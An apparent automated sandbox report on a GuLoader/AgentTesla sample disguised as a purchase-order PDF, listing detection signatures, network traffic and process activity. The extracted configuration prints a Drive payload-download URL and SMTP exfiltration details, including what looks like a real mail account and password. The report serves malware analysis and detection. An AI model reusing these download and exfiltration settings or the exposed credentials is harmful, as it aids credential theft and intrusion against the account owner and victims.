Windows Analysis Report 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe

Overview

General Information

Sample Name: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe
Analysis ID: 539503
MD5: 1547238c5f89a46f4f3d448138478e05
SHA1: b83e59cffe50f76e819731d506efd045c55aaabc
SHA256: 3e6418ff545a4ca402fd68da393fd9db7ed7e798ffed1de2fbcdbb31fa08817f
Infos:

Most interesting Screenshot:

Detection

GuLoader AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
GuLoader behavior detected
Yara detected GuLoader
Hides threads from debuggers
Installs a global keyboard hook
Tries to steal Mail credentials (via file / registry access)
Initial sample is a PE file and has a suspicious name
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Executable has a suspicious name (potential lure to open the executable)
C2 URLs / IPs found in malware configuration
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
Creates processes with suspicious names
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
Creates a window with clipboard capturing capabilities
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 0000000A.00000000.101282349186.0000000000A00000.00000040.00000001.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=1sW9p"}
Source: CasPol.exe.6116.9.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "paco@fortunametals.esFortunaPaco#2018mail.fortunametals.eskingpentecost22@gmail.com"}
Multi AV Scanner detection for submitted file
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Virustotal: Detection: 33% Perma Link
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe ReversingLabs: Detection: 15%

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E7B988 CryptUnprotectData, 10_2_00E7B988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E7B981 CryptUnprotectData, 10_2_00E7B981

Compliance:

barindex
Uses 32bit PE files
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: unknown HTTPS traffic detected: 142.250.185.238:443 -> 192.168.11.20:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.185.161:443 -> 192.168.11.20:49815 version: TLS 1.2

Networking:

barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://drive.google.com/uc?export=download&id=1sW9p
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: OVHFR OVHFR
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 94.23.221.28 94.23.221.28
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/b7qfcdp6et0sg0enesn34rrf8kvhhdrn/1639482750000/03916840094075221792/*/1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-14-38-docs.googleusercontent.comConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.11.20:49823 -> 94.23.221.28:587
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.11.20:49823 -> 94.23.221.28:587
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: CasPol.exe, 0000000A.00000002.105886078369.000000001DB80000.00000004.00000001.sdmp String found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C
Source: Cookies.10.dr String found in binary or memory: .www.linkedin.combscookie/ equals www.linkedin.com (Linkedin)
Source: CasPol.exe, 0000000A.00000002.105887500198.000000001DC9B000.00000004.00000001.sdmp, Cookies.10.dr String found in binary or memory: .www.linkedin.combscookie/+= equals www.linkedin.com (Linkedin)
Source: Cookies.10.dr String found in binary or memory: .www.linkedin.combscookie//a equals www.linkedin.com (Linkedin)
Source: CasPol.exe, 0000000A.00000002.105885711139.000000001DB31000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 0000000A.00000002.105885711139.000000001DB31000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: CasPol.exe, 0000000A.00000002.105885711139.000000001DB31000.00000004.00000001.sdmp String found in binary or memory: http://FZUXPX.com
Source: CasPol.exe, 0000000A.00000002.105887665137.000000001DCB6000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.102417303454.000000001FD96000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105874544943.0000000000B7B000.00000004.00000020.sdmp, CasPol.exe, 0000000A.00000002.105887107468.000000001DC58000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.102418225133.000000001FDA3000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105892534113.000000001FD7F000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: CasPol.exe, 0000000A.00000003.101439211072.0000000000C15000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105875396788.0000000000C17000.00000004.00000020.sdmp, CasPol.exe, 0000000A.00000003.101443688665.0000000000C15000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.101438628590.0000000000C15000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: CasPol.exe, 0000000A.00000002.105887665137.000000001DCB6000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.102417303454.000000001FD96000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105874843683.0000000000BBA000.00000004.00000020.sdmp, CasPol.exe, 0000000A.00000002.105887107468.000000001DC58000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.102418225133.000000001FDA3000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105892534113.000000001FD7F000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: CasPol.exe, 0000000A.00000002.105887665137.000000001DCB6000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.102417303454.000000001FD96000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105874544943.0000000000B7B000.00000004.00000020.sdmp, CasPol.exe, 0000000A.00000002.105887107468.000000001DC58000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.102418225133.000000001FDA3000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105892534113.000000001FD7F000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
Source: CasPol.exe, 0000000A.00000003.101439211072.0000000000C15000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105875396788.0000000000C17000.00000004.00000020.sdmp, CasPol.exe, 0000000A.00000003.101443688665.0000000000C15000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.101438628590.0000000000C15000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: CasPol.exe, 0000000A.00000002.105887107468.000000001DC58000.00000004.00000001.sdmp String found in binary or memory: http://fortunametals.es
Source: CasPol.exe, 0000000A.00000002.105887107468.000000001DC58000.00000004.00000001.sdmp String found in binary or memory: http://mail.fortunametals.es
Source: CasPol.exe, 0000000A.00000002.105887665137.000000001DCB6000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.102417303454.000000001FD96000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105874843683.0000000000BBA000.00000004.00000020.sdmp, CasPol.exe, 0000000A.00000002.105874544943.0000000000B7B000.00000004.00000020.sdmp, CasPol.exe, 0000000A.00000002.105887107468.000000001DC58000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.102418225133.000000001FDA3000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105892534113.000000001FD7F000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: CasPol.exe, 0000000A.00000002.105886891663.000000001DC34000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105887303934.000000001DC7C000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.102379089042.000000001CA81000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105887059814.000000001DC52000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105887359393.000000001DC85000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105887021682.000000001DC4E000.00000004.00000001.sdmp String found in binary or memory: https://XCD4GuOxIDpaEsq6zLmj.org
Source: CasPol.exe, 0000000A.00000002.105886891663.000000001DC34000.00000004.00000001.sdmp String found in binary or memory: https://XCD4GuOxIDpaEsq6zLmj.orgt-
Source: CasPol.exe, 0000000A.00000002.105885711139.000000001DB31000.00000004.00000001.sdmp String found in binary or memory: https://api.ipify.org%4
Source: CasPol.exe, 0000000A.00000002.105885711139.000000001DB31000.00000004.00000001.sdmp String found in binary or memory: https://api.ipify.org%GETMozilla/5.0
Source: CasPol.exe, 0000000A.00000003.101439211072.0000000000C15000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.101438628590.0000000000C15000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: CasPol.exe, 0000000A.00000003.101439211072.0000000000C15000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.101438628590.0000000000C15000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gse_l9ocaq
Source: CasPol.exe, 0000000A.00000002.105874843683.0000000000BBA000.00000004.00000020.sdmp, CasPol.exe, 0000000A.00000003.101439211072.0000000000C15000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.101443688665.0000000000C15000.00000004.00000001.sdmp String found in binary or memory: https://doc-14-38-docs.googleusercontent.com/
Source: CasPol.exe, 0000000A.00000002.105874843683.0000000000BBA000.00000004.00000020.sdmp String found in binary or memory: https://doc-14-38-docs.googleusercontent.com/C
Source: CasPol.exe, 0000000A.00000003.101439211072.0000000000C15000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.101443688665.0000000000C15000.00000004.00000001.sdmp String found in binary or memory: https://doc-14-38-docs.googleusercontent.com/K
Source: CasPol.exe, 0000000A.00000003.101438628590.0000000000C15000.00000004.00000001.sdmp String found in binary or memory: https://doc-14-38-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/b7qfcdp6
Source: CasPol.exe, 0000000A.00000002.105874544943.0000000000B7B000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/
Source: CasPol.exe, 0000000A.00000002.105874544943.0000000000B7B000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/X
Source: CasPol.exe, 0000000A.00000002.105876042787.0000000000DC0000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G
Source: CasPol.exe, 0000000A.00000003.101439211072.0000000000C15000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.101443688665.0000000000C15000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G0
Source: CasPol.exe, 0000000A.00000002.105874843683.0000000000BBA000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1Ga
Source: CasPol.exe, 0000000A.00000002.105874843683.0000000000BBA000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1Gg
Source: CasPol.exe, 0000000A.00000002.105886078369.000000001DB80000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105886584690.000000001DBEE000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/
Source: CasPol.exe, 0000000A.00000002.105886078369.000000001DB80000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com//
Source: CasPol.exe, 0000000A.00000002.105886584690.000000001DBEE000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/8_
Source: CasPol.exe, 0000000A.00000002.105886078369.000000001DB80000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/https://login.live.com/
Source: CasPol.exe, 0000000A.00000002.105886078369.000000001DB80000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/v104
Source: CasPol.exe, 0000000A.00000002.105887665137.000000001DCB6000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.102417303454.000000001FD96000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105874544943.0000000000B7B000.00000004.00000020.sdmp, CasPol.exe, 0000000A.00000002.105887107468.000000001DC58000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.102418225133.000000001FDA3000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.105892534113.000000001FD7F000.00000004.00000001.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: CasPol.exe, 0000000A.00000002.105886584690.000000001DBEE000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: CasPol.exe, 0000000A.00000002.105885711139.000000001DB31000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/b7qfcdp6et0sg0enesn34rrf8kvhhdrn/1639482750000/03916840094075221792/*/1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-14-38-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 142.250.185.238:443 -> 192.168.11.20:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.185.161:443 -> 192.168.11.20:49815 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Installs a global keyboard hook
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe Jump to behavior
Creates a window with clipboard capturing capabilities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior

System Summary:

barindex
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe
Source: initial sample Static PE information: Filename: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe
Executable has a suspicious name (potential lure to open the executable)
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Static file information: Suspicious name
Uses 32bit PE files
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Detected potential crypto function
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00713A50 10_2_00713A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_0071EAB0 10_2_0071EAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00714320 10_2_00714320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00713708 10_2_00713708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00A0D9C5 10_2_00A0D9C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E6F928 10_2_00E6F928
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E6CA59 10_2_00E6CA59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E6A3C9 10_2_00E6A3C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E6A017 10_2_00E6A017
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E6F923 10_2_00E6F923
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E64748 10_2_00E64748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E73898 10_2_00E73898
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E71958 10_2_00E71958
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E73558 10_2_00E73558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E78320 10_2_00E78320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E7D1E8 10_2_00E7D1E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E78A60 10_2_00E78A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E78B60 10_2_00E78B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1D9B5E08 10_2_1D9B5E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1D9B4FF0 10_2_1D9B4FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1D9B46C4 10_2_1D9B46C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1D9B5D41 10_2_1D9B5D41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1D9B6AF1 10_2_1D9B6AF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1FF5BA90 10_2_1FF5BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1FF5D9B0 10_2_1FF5D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1FF54AC8 10_2_1FF54AC8
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: String function: 00718C40 appears 52 times
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Process Stats: CPU usage > 98%
Sample file is different than original file name gathered from version info
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe, 00000002.00000000.100832030618.000000000042B000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameLydbl.exe vs 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe, 00000002.00000002.101468206802.0000000002AB0000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameLydbl.exeFE2X vs 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Binary or memory string: OriginalFilenameLydbl.exe vs 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe
PE file contains strange resources
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: edgegdi.dll Jump to behavior
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Virustotal: Detection: 33%
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe ReversingLabs: Detection: 15%
Source: 210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe "C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe"
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe"
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe" Jump to behavior
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe" Jump to behavior
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\InprocServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File created: C:\Users\user\AppData\Roaming\frpuodz4.bqm Jump to behavior
Source: C:\Users\user\Desktop\210629 Purchase Order 449 BURGHAUSEN (uZ 20-270)_PDF.exe File created: C:\Users\user\AppData\Local\Temp\~DF7DBC0B9955D431E2.TMP Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@6/4@3/3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
